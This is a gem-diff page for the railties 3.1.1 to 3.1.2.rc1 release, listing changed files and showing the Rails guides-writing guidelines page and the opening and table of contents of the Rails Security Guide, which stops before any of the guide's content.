railties 3.1.1 → 3.1.2.rc1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (189) hide show
  1. data/CHANGELOG.md +2382 -0
  2. data/guides/output/2_2_release_notes.html +565 -0
  3. data/guides/output/2_3_release_notes.html +713 -0
  4. data/guides/output/3_0_release_notes.html +652 -0
  5. data/guides/output/3_1_release_notes.html +670 -0
  6. data/guides/output/action_controller_overview.html +925 -0
  7. data/guides/output/action_mailer_basics.html +658 -0
  8. data/guides/output/action_view_overview.html +1471 -0
  9. data/guides/output/active_model_basics.html +349 -0
  10. data/guides/output/active_record_basics.html +364 -0
  11. data/guides/output/active_record_querying.html +1272 -0
  12. data/guides/output/active_record_validations_callbacks.html +1292 -0
  13. data/guides/output/active_resource_basics.html +252 -0
  14. data/guides/output/active_support_core_extensions.html +3374 -0
  15. data/guides/output/ajax_on_rails.html +412 -0
  16. data/guides/output/api_documentation_guidelines.html +317 -0
  17. data/guides/output/asset_pipeline.html +691 -0
  18. data/guides/output/association_basics.html +1742 -0
  19. data/guides/output/caching_with_rails.html +533 -0
  20. data/guides/output/command_line.html +662 -0
  21. data/guides/output/configuring.html +811 -0
  22. data/guides/output/contribute.html +216 -0
  23. data/guides/output/contributing_to_ruby_on_rails.html +465 -0
  24. data/guides/output/credits.html +210 -0
  25. data/guides/output/debugging_rails_applications.html +791 -0
  26. data/guides/output/engines.html +673 -0
  27. data/guides/output/form_helpers.html +850 -0
  28. data/guides/output/generators.html +725 -0
  29. data/guides/output/getting_started.html +1980 -0
  30. data/guides/output/i18n.html +1054 -0
  31. data/guides/output/images/belongs_to.png +0 -0
  32. data/guides/output/images/book_icon.gif +0 -0
  33. data/guides/output/images/bullet.gif +0 -0
  34. data/guides/output/images/challenge.png +0 -0
  35. data/guides/output/images/chapters_icon.gif +0 -0
  36. data/guides/output/images/check_bullet.gif +0 -0
  37. data/guides/output/images/credits_pic_blank.gif +0 -0
  38. data/guides/output/images/csrf.png +0 -0
  39. data/guides/output/images/customized_error_messages.png +0 -0
  40. data/guides/output/images/edge_badge.png +0 -0
  41. data/guides/output/images/error_messages.png +0 -0
  42. data/guides/output/images/feature_tile.gif +0 -0
  43. data/guides/output/images/footer_tile.gif +0 -0
  44. data/guides/output/images/fxn.png +0 -0
  45. data/guides/output/images/grey_bullet.gif +0 -0
  46. data/guides/output/images/habtm.png +0 -0
  47. data/guides/output/images/has_many.png +0 -0
  48. data/guides/output/images/has_many_through.png +0 -0
  49. data/guides/output/images/has_one.png +0 -0
  50. data/guides/output/images/has_one_through.png +0 -0
  51. data/guides/output/images/header_backdrop.png +0 -0
  52. data/guides/output/images/header_tile.gif +0 -0
  53. data/guides/output/images/i18n/demo_html_safe.png +0 -0
  54. data/guides/output/images/i18n/demo_localized_pirate.png +0 -0
  55. data/guides/output/images/i18n/demo_translated_en.png +0 -0
  56. data/guides/output/images/i18n/demo_translated_pirate.png +0 -0
  57. data/guides/output/images/i18n/demo_translation_missing.png +0 -0
  58. data/guides/output/images/i18n/demo_untranslated.png +0 -0
  59. data/guides/output/images/icons/README +5 -0
  60. data/guides/output/images/icons/callouts/1.png +0 -0
  61. data/guides/output/images/icons/callouts/10.png +0 -0
  62. data/guides/output/images/icons/callouts/11.png +0 -0
  63. data/guides/output/images/icons/callouts/12.png +0 -0
  64. data/guides/output/images/icons/callouts/13.png +0 -0
  65. data/guides/output/images/icons/callouts/14.png +0 -0
  66. data/guides/output/images/icons/callouts/15.png +0 -0
  67. data/guides/output/images/icons/callouts/2.png +0 -0
  68. data/guides/output/images/icons/callouts/3.png +0 -0
  69. data/guides/output/images/icons/callouts/4.png +0 -0
  70. data/guides/output/images/icons/callouts/5.png +0 -0
  71. data/guides/output/images/icons/callouts/6.png +0 -0
  72. data/guides/output/images/icons/callouts/7.png +0 -0
  73. data/guides/output/images/icons/callouts/8.png +0 -0
  74. data/guides/output/images/icons/callouts/9.png +0 -0
  75. data/guides/output/images/icons/caution.png +0 -0
  76. data/guides/output/images/icons/example.png +0 -0
  77. data/guides/output/images/icons/home.png +0 -0
  78. data/guides/output/images/icons/important.png +0 -0
  79. data/guides/output/images/icons/next.png +0 -0
  80. data/guides/output/images/icons/note.png +0 -0
  81. data/guides/output/images/icons/prev.png +0 -0
  82. data/guides/output/images/icons/tip.png +0 -0
  83. data/guides/output/images/icons/up.png +0 -0
  84. data/guides/output/images/icons/warning.png +0 -0
  85. data/guides/output/images/jaimeiniesta.jpg +0 -0
  86. data/guides/output/images/nav_arrow.gif +0 -0
  87. data/guides/output/images/polymorphic.png +0 -0
  88. data/guides/output/images/posts_index.png +0 -0
  89. data/guides/output/images/radar.png +0 -0
  90. data/guides/output/images/rails_guides_logo.gif +0 -0
  91. data/guides/output/images/rails_logo_remix.gif +0 -0
  92. data/guides/output/images/rails_welcome.png +0 -0
  93. data/guides/output/images/session_fixation.png +0 -0
  94. data/guides/output/images/tab_grey.gif +0 -0
  95. data/guides/output/images/tab_info.gif +0 -0
  96. data/guides/output/images/tab_note.gif +0 -0
  97. data/guides/output/images/tab_red.gif +0 -0
  98. data/guides/output/images/tab_yellow.gif +0 -0
  99. data/guides/output/images/tab_yellow.png +0 -0
  100. data/guides/output/images/validation_error_messages.png +0 -0
  101. data/guides/output/images/vijaydev.jpg +0 -0
  102. data/guides/output/index.html +300 -0
  103. data/guides/output/initialization.html +1087 -0
  104. data/guides/output/javascripts/guides.js +7 -0
  105. data/guides/output/javascripts/syntaxhighlighter/shBrushAS3.js +59 -0
  106. data/guides/output/javascripts/syntaxhighlighter/shBrushAppleScript.js +75 -0
  107. data/guides/output/javascripts/syntaxhighlighter/shBrushBash.js +59 -0
  108. data/guides/output/javascripts/syntaxhighlighter/shBrushCSharp.js +65 -0
  109. data/guides/output/javascripts/syntaxhighlighter/shBrushColdFusion.js +100 -0
  110. data/guides/output/javascripts/syntaxhighlighter/shBrushCpp.js +97 -0
  111. data/guides/output/javascripts/syntaxhighlighter/shBrushCss.js +91 -0
  112. data/guides/output/javascripts/syntaxhighlighter/shBrushDelphi.js +55 -0
  113. data/guides/output/javascripts/syntaxhighlighter/shBrushDiff.js +41 -0
  114. data/guides/output/javascripts/syntaxhighlighter/shBrushErlang.js +52 -0
  115. data/guides/output/javascripts/syntaxhighlighter/shBrushGroovy.js +67 -0
  116. data/guides/output/javascripts/syntaxhighlighter/shBrushJScript.js +52 -0
  117. data/guides/output/javascripts/syntaxhighlighter/shBrushJava.js +57 -0
  118. data/guides/output/javascripts/syntaxhighlighter/shBrushJavaFX.js +58 -0
  119. data/guides/output/javascripts/syntaxhighlighter/shBrushPerl.js +72 -0
  120. data/guides/output/javascripts/syntaxhighlighter/shBrushPhp.js +88 -0
  121. data/guides/output/javascripts/syntaxhighlighter/shBrushPlain.js +33 -0
  122. data/guides/output/javascripts/syntaxhighlighter/shBrushPowerShell.js +74 -0
  123. data/guides/output/javascripts/syntaxhighlighter/shBrushPython.js +64 -0
  124. data/guides/output/javascripts/syntaxhighlighter/shBrushRuby.js +55 -0
  125. data/guides/output/javascripts/syntaxhighlighter/shBrushSass.js +94 -0
  126. data/guides/output/javascripts/syntaxhighlighter/shBrushScala.js +51 -0
  127. data/guides/output/javascripts/syntaxhighlighter/shBrushSql.js +66 -0
  128. data/guides/output/javascripts/syntaxhighlighter/shBrushVb.js +56 -0
  129. data/guides/output/javascripts/syntaxhighlighter/shBrushXml.js +69 -0
  130. data/guides/output/javascripts/syntaxhighlighter/shCore.js +17 -0
  131. data/guides/output/layout.html +312 -0
  132. data/guides/output/layouts_and_rendering.html +1257 -0
  133. data/guides/output/migrations.html +751 -0
  134. data/guides/output/nested_model_forms.html +350 -0
  135. data/guides/output/performance_testing.html +858 -0
  136. data/guides/output/plugins.html +590 -0
  137. data/guides/output/rails_application_templates.html +368 -0
  138. data/guides/output/rails_on_rack.html +408 -0
  139. data/guides/output/routing.html +1246 -0
  140. data/guides/output/ruby_on_rails_guides_guidelines.html +218 -0
  141. data/guides/output/security.html +968 -0
  142. data/guides/output/stylesheets/fixes.css +16 -0
  143. data/guides/output/stylesheets/main.css +445 -0
  144. data/guides/output/stylesheets/print.css +52 -0
  145. data/guides/output/stylesheets/reset.css +43 -0
  146. data/guides/output/stylesheets/style.css +13 -0
  147. data/guides/output/stylesheets/syntaxhighlighter/shCore.css +226 -0
  148. data/guides/output/stylesheets/syntaxhighlighter/shCoreDefault.css +328 -0
  149. data/guides/output/stylesheets/syntaxhighlighter/shCoreDjango.css +331 -0
  150. data/guides/output/stylesheets/syntaxhighlighter/shCoreEclipse.css +339 -0
  151. data/guides/output/stylesheets/syntaxhighlighter/shCoreEmacs.css +324 -0
  152. data/guides/output/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css +328 -0
  153. data/guides/output/stylesheets/syntaxhighlighter/shCoreMDUltra.css +324 -0
  154. data/guides/output/stylesheets/syntaxhighlighter/shCoreMidnight.css +324 -0
  155. data/guides/output/stylesheets/syntaxhighlighter/shCoreRDark.css +324 -0
  156. data/guides/output/stylesheets/syntaxhighlighter/shThemeDefault.css +117 -0
  157. data/guides/output/stylesheets/syntaxhighlighter/shThemeDjango.css +120 -0
  158. data/guides/output/stylesheets/syntaxhighlighter/shThemeEclipse.css +128 -0
  159. data/guides/output/stylesheets/syntaxhighlighter/shThemeEmacs.css +113 -0
  160. data/guides/output/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css +117 -0
  161. data/guides/output/stylesheets/syntaxhighlighter/shThemeMDUltra.css +113 -0
  162. data/guides/output/stylesheets/syntaxhighlighter/shThemeMidnight.css +113 -0
  163. data/guides/output/stylesheets/syntaxhighlighter/shThemeRDark.css +113 -0
  164. data/guides/output/stylesheets/syntaxhighlighter/shThemeRailsGuides.css +116 -0
  165. data/guides/output/testing.html +1182 -0
  166. data/guides/source/active_record_validations_callbacks.textile +3 -3
  167. data/guides/source/active_support_core_extensions.textile +2 -2
  168. data/guides/source/asset_pipeline.textile +7 -5
  169. data/guides/source/association_basics.textile +2 -4
  170. data/guides/source/command_line.textile +1 -1
  171. data/guides/source/configuring.textile +4 -2
  172. data/guides/source/contributing_to_ruby_on_rails.textile +6 -6
  173. data/guides/source/initialization.textile +2 -2
  174. data/guides/source/performance_testing.textile +1 -1
  175. data/guides/source/routing.textile +1 -1
  176. data/guides/source/security.textile +2 -2
  177. data/lib/rails/commands/server.rb +1 -1
  178. data/lib/rails/engine.rb +1 -1
  179. data/lib/rails/generators/app_base.rb +2 -1
  180. data/lib/rails/generators/base.rb +3 -3
  181. data/lib/rails/generators/rails/app/templates/gitignore +15 -5
  182. data/lib/rails/rack.rb +0 -1
  183. data/lib/rails/tasks/documentation.rake +7 -7
  184. data/lib/rails/tasks/misc.rake +0 -2
  185. data/lib/rails/test_unit/testing.rake +2 -0
  186. data/lib/rails/version.rb +2 -2
  187. metadata +495 -326
  188. data/CHANGELOG +0 -2371
  189. data/lib/rails/rack/content_length.rb +0 -38
@@ -0,0 +1,218 @@
1
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
3
+
4
+ <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
5
+ <head>
6
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
7
+
8
+ <title>Ruby on Rails Guides: Ruby on Rails Guides Guidelines</title>
9
+
10
+ <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
11
+ <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
12
+
13
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
14
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
15
+
16
+ <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
17
+ </head>
18
+ <body class="guide">
19
+ <div id="topNav">
20
+ <div class="wrapper">
21
+ <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
22
+ <a href="http://rubyonrails.org/">Overview</a> |
23
+ <a href="http://rubyonrails.org/download">Download</a> |
24
+ <a href="http://rubyonrails.org/deploy">Deploy</a> |
25
+ <a href="https://github.com/rails/rails">Code</a> |
26
+ <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
27
+ <a href="http://rubyonrails.org/documentation">Documentation</a> |
28
+ <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
29
+ <a href="http://rubyonrails.org/community">Community</a> |
30
+ <a href="http://weblog.rubyonrails.org/">Blog</a>
31
+ </div>
32
+ </div>
33
+ <div id="header">
34
+ <div class="wrapper clearfix">
35
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
36
+ <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
37
+ <ul class="nav">
38
+ <li><a href="index.html">Home</a></li>
39
+ <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
40
+ <div id="guides" class="clearfix" style="display: none;">
41
+ <hr />
42
+ <dl class="L">
43
+ <dt>Start Here</dt>
44
+ <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
45
+ <dt>Models</dt>
46
+ <dd><a href="migrations.html">Rails Database Migrations</a></dd>
47
+ <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
48
+ <dd><a href="association_basics.html">Active Record Associations</a></dd>
49
+ <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
50
+ <dt>Views</dt>
51
+ <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
52
+ <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
53
+ <dt>Controllers</dt>
54
+ <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
55
+ <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
56
+ </dl>
57
+ <dl class="R">
58
+ <dt>Digging Deeper</dt>
59
+ <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
60
+ <dd><a href="i18n.html">Rails Internationalization API</a></dd>
61
+ <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
62
+ <dd><a href="testing.html">Testing Rails Applications</a></dd>
63
+ <dd><a href="security.html">Securing Rails Applications</a></dd>
64
+ <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
65
+ <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
66
+ <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
67
+ <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
68
+ <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
69
+ <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
70
+
71
+ <dt>Extending Rails</dt>
72
+ <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
73
+ <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
74
+ <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
75
+
76
+ <dt>Contributing to Ruby on Rails</dt>
77
+ <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
78
+ <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
79
+ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
80
+
81
+ <dt>Release Notes</dt>
82
+ <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
83
+ <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
84
+ <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
85
+ <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
86
+ </dl>
87
+ </div>
88
+ </li>
89
+ <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
90
+ <li><a href="credits.html">Credits</a></li>
91
+ </ul>
92
+ </div>
93
+ </div>
94
+ <hr class="hide" />
95
+
96
+ <div id="feature">
97
+ <div class="wrapper">
98
+ <h2>Ruby on Rails Guides Guidelines</h2>
99
+ <p>This guide documents guidelines for writing guides. This guide follows itself in a gracile loop.</p>
100
+
101
+ <div id="subCol">
102
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
103
+ <ol class="chapters">
104
+ <li><a href="#textile">Textile</a></li><li><a href="#prologue">Prologue</a></li><li><a href="#titles">Titles</a></li><li><a href="#api-documentation-guidelines"><span class="caps">API</span> Documentation Guidelines</a></li><li><a href="#html-generation"><span class="caps">HTML</span> Generation</a></li><li><a href="#html-validation"><span class="caps">HTML</span> Validation</a></li></ol></div>
105
+ </div>
106
+ </div>
107
+
108
+ <div id="container">
109
+ <div class="wrapper">
110
+ <div id="mainCol">
111
+ <h3 id="textile">1 Textile</h3>
112
+ <p>Guides are written in <a href="http://www.textism.com/tools/textile/">Textile</a>. There&#8217;s comprehensive documentation <a href="http://redcloth.org/hobix.com/textile/">here</a> and a cheatsheet for markup <a href="http://redcloth.org/hobix.com/textile/quick.html">here</a>.</p>
113
+ <h3 id="prologue">2 Prologue</h3>
114
+ <p>Each guide should start with motivational text at the top (that&#8217;s the little introduction in the blue area.) The prologue should tell the reader what the guide is about, and what they will learn. See for example the <a href="routing.html">Routing Guide</a>.</p>
115
+ <h3 id="titles">3 Titles</h3>
116
+ <p>The title of every guide uses <tt>h2</tt>, guide sections use <tt>h3</tt>, subsections <tt>h4</tt>, etc.</p>
117
+ <p>Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:</p>
118
+ <div class="code_container">
119
+ <pre class="brush: plain; gutter: false; toolbar: false">
120
+ h5. Middleware Stack is an Array
121
+ h5. When are Objects Saved?
122
+ </pre>
123
+ </div>
124
+ <p>Use the same typography as in regular text:</p>
125
+ <div class="code_container">
126
+ <pre class="brush: plain; gutter: false; toolbar: false">
127
+ h6. The &lt;tt&gt;:content_type&lt;/tt&gt; Option
128
+ </pre>
129
+ </div>
130
+ <h3 id="api-documentation-guidelines">4 <span class="caps">API</span> Documentation Guidelines</h3>
131
+ <p>The guides and the <span class="caps">API</span> should be coherent where appropriate. Please have a look at these particular sections of the <a href="api_documentation_guidelines.html"><span class="caps">API</span> Documentation Guidelines</a>:</p>
132
+ <ul>
133
+ <li><a href="api_documentation_guidelines.html#wording">Wording</a></li>
134
+ <li><a href="api_documentation_guidelines.html#example-code">Example Code</a></li>
135
+ <li><a href="api_documentation_guidelines.html#filenames">Filenames</a></li>
136
+ <li><a href="api_documentation_guidelines.html#fonts">Fonts</a></li>
137
+ </ul>
138
+ <p>Those guidelines apply also to guides.</p>
139
+ <h3 id="html-generation">5 <span class="caps">HTML</span> Generation</h3>
140
+ <p>To generate all the guides, just <tt>cd</tt> into the <tt>railties</tt> directory and execute:</p>
141
+ <div class="code_container">
142
+ <pre class="brush: plain; gutter: false; toolbar: false">
143
+ bundle exec rake generate_guides
144
+ </pre>
145
+ </div>
146
+ <p>(You may need to run <tt>bundle install</tt> first to install the required gems.)</p>
147
+ <p>To process <tt>my_guide.textile</tt> and nothing else use the <tt>ONLY</tt> environment variable:</p>
148
+ <div class="code_container">
149
+ <pre class="brush: plain; gutter: false; toolbar: false">
150
+ bundle exec rake generate_guides ONLY=my_guide
151
+ </pre>
152
+ </div>
153
+ <p>By default, guides that have not been modified are not processed, so <tt>ONLY</tt> is rarely needed in practice.</p>
154
+ <p>To force process of all the guides, pass <tt>ALL=1</tt>.</p>
155
+ <p>It is also recommended that you work with <tt>WARNINGS=1</tt>. This detects duplicate IDs and warns about broken internal links.</p>
156
+ <p>If you want to generate guides in languages other than English, you can keep them in a separate directory under <tt>source</tt> (eg. <tt>source/es</tt>) and use the <tt>GUIDES_LANGUAGE</tt> environment variable:</p>
157
+ <div class="code_container">
158
+ <pre class="brush: plain; gutter: false; toolbar: false">
159
+ bundle exec rake generate_guides GUIDES_LANGUAGE=es
160
+ </pre>
161
+ </div>
162
+ <h3 id="html-validation">6 <span class="caps">HTML</span> Validation</h3>
163
+ <p>Please validate the generated <span class="caps">HTML</span> with:</p>
164
+ <div class="code_container">
165
+ <pre class="brush: plain; gutter: false; toolbar: false">
166
+ bundle exec rake validate_guides
167
+ </pre>
168
+ </div>
169
+ <p>Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set <tt>WARNINGS=1</tt> when generating guides to detect them. The warning messages suggest a way to fix them.</p>
170
+
171
+ <h3>Feedback</h3>
172
+ <p>
173
+ You're encouraged to help improve the quality of this guide.
174
+ </p>
175
+ <p>
176
+ If you see any typos or factual errors you are confident to
177
+ patch, please clone <a href="https://github.com/lifo/docrails">docrails</a>
178
+ and push the change yourself. That branch of Rails has public write access.
179
+ Commits are still reviewed, but that happens after you've submitted your
180
+ contribution. <a href="https://github.com/lifo/docrails">docrails</a> is
181
+ cross-merged with master periodically.
182
+ </p>
183
+ <p>
184
+ You may also find incomplete content, or stuff that is not up to date.
185
+ Please do add any missing documentation for master. Check the
186
+ <a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a>
187
+ for style and conventions.
188
+ </p>
189
+ <p>
190
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
191
+ <a href="https://github.com/rails/rails/issues">open an issue</a>.
192
+ </p>
193
+ <p>And last but not least, any kind of discussion regarding Ruby on Rails
194
+ documentation is very welcome in the <a href="http://groups.google.com/group/rubyonrails-docs">rubyonrails-docs mailing list</a>.
195
+ </p>
196
+ </div>
197
+ </div>
198
+ </div>
199
+
200
+ <hr class="hide" />
201
+ <div id="footer">
202
+ <div class="wrapper">
203
+ <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
204
+ <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
205
+ </div>
206
+ </div>
207
+
208
+ <script type="text/javascript" src="javascripts/guides.js"></script>
209
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
210
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
211
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
212
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
213
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
214
+ <script type="text/javascript">
215
+ SyntaxHighlighter.all()
216
+ </script>
217
+ </body>
218
+ </html>
@@ -0,0 +1,968 @@
1
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
3
+
4
+ <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
5
+ <head>
6
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
7
+
8
+ <title>Ruby on Rails Guides: Ruby On Rails Security Guide</title>
9
+
10
+ <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
11
+ <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
12
+
13
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
14
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
15
+
16
+ <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
17
+ </head>
18
+ <body class="guide">
19
+ <div id="topNav">
20
+ <div class="wrapper">
21
+ <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
22
+ <a href="http://rubyonrails.org/">Overview</a> |
23
+ <a href="http://rubyonrails.org/download">Download</a> |
24
+ <a href="http://rubyonrails.org/deploy">Deploy</a> |
25
+ <a href="https://github.com/rails/rails">Code</a> |
26
+ <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
27
+ <a href="http://rubyonrails.org/documentation">Documentation</a> |
28
+ <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
29
+ <a href="http://rubyonrails.org/community">Community</a> |
30
+ <a href="http://weblog.rubyonrails.org/">Blog</a>
31
+ </div>
32
+ </div>
33
+ <div id="header">
34
+ <div class="wrapper clearfix">
35
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
36
+ <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
37
+ <ul class="nav">
38
+ <li><a href="index.html">Home</a></li>
39
+ <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
40
+ <div id="guides" class="clearfix" style="display: none;">
41
+ <hr />
42
+ <dl class="L">
43
+ <dt>Start Here</dt>
44
+ <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
45
+ <dt>Models</dt>
46
+ <dd><a href="migrations.html">Rails Database Migrations</a></dd>
47
+ <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
48
+ <dd><a href="association_basics.html">Active Record Associations</a></dd>
49
+ <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
50
+ <dt>Views</dt>
51
+ <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
52
+ <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
53
+ <dt>Controllers</dt>
54
+ <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
55
+ <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
56
+ </dl>
57
+ <dl class="R">
58
+ <dt>Digging Deeper</dt>
59
+ <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
60
+ <dd><a href="i18n.html">Rails Internationalization API</a></dd>
61
+ <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
62
+ <dd><a href="testing.html">Testing Rails Applications</a></dd>
63
+ <dd><a href="security.html">Securing Rails Applications</a></dd>
64
+ <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
65
+ <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
66
+ <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
67
+ <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
68
+ <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
69
+ <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
70
+
71
+ <dt>Extending Rails</dt>
72
+ <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
73
+ <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
74
+ <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
75
+
76
+ <dt>Contributing to Ruby on Rails</dt>
77
+ <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
78
+ <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
79
+ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
80
+
81
+ <dt>Release Notes</dt>
82
+ <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
83
+ <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
84
+ <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
85
+ <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
86
+ </dl>
87
+ </div>
88
+ </li>
89
+ <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
90
+ <li><a href="credits.html">Credits</a></li>
91
+ </ul>
92
+ </div>
93
+ </div>
94
+ <hr class="hide" />
95
+
96
+ <div id="feature">
97
+ <div class="wrapper">
98
+ <h2>Ruby On Rails Security Guide</h2>
99
+ <p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
100
+ mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:</p>
101
+ <ul>
102
+ <li>All countermeasures <em class="highlight">that are highlighted</em></li>
103
+ <li>The concept of sessions in Rails, what to put in there and popular attack methods</li>
104
+ <li>How just visiting a site can be a security problem (with <span class="caps">CSRF</span>)</li>
105
+ <li>What you have to pay attention to when working with files or providing an administration interface</li>
106
+ <li>The Rails-specific mass assignment problem</li>
107
+ <li>How to manage users: Logging in and out and attack methods on all layers</li>
108
+ <li>And the most popular injection attack methods</li>
109
+ </ul>
110
+
111
+ <div id="subCol">
112
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
113
+ <ol class="chapters">
114
+ <li><a href="#introduction">Introduction</a></li><li><a href="#sessions">Sessions</a><ul><li><a href="#what-are-sessions">What are Sessions?</a></li> <li><a href="#session-id">Session id</a></li> <li><a href="#session-hijacking">Session Hijacking</a></li> <li><a href="#session-guidelines">Session Guidelines</a></li> <li><a href="#session-storage">Session Storage</a></li> <li><a href="#replay-attacks-for-cookiestore-sessions">Replay Attacks for CookieStore Sessions</a></li> <li><a href="#session-fixation">Session Fixation</a></li> <li><a href="#session-fixation-countermeasures">Session Fixation – Countermeasures</a></li> <li><a href="#session-expiry">Session Expiry</a></li></ul></li><li><a href="#cross-site-request-forgery-csrf">Cross-Site Request Forgery (<span class="caps">CSRF</span>)</a><ul><li><a href="#csrf-countermeasures"><span class="caps">CSRF</span> Countermeasures</a></li></ul></li><li><a href="#redirection-and-files">Redirection and Files</a><ul><li><a href="#redirection">Redirection</a></li> <li><a href="#file-uploads">File Uploads</a></li> <li><a href="#executable-code-in-file-uploads">Executable Code in File Uploads</a></li> <li><a href="#file-downloads">File Downloads</a></li></ul></li><li><a href="#intranet-and-admin-security">Intranet and Admin Security</a><ul><li><a href="#additional-precautions">Additional Precautions</a></li></ul></li><li><a href="#mass-assignment">Mass 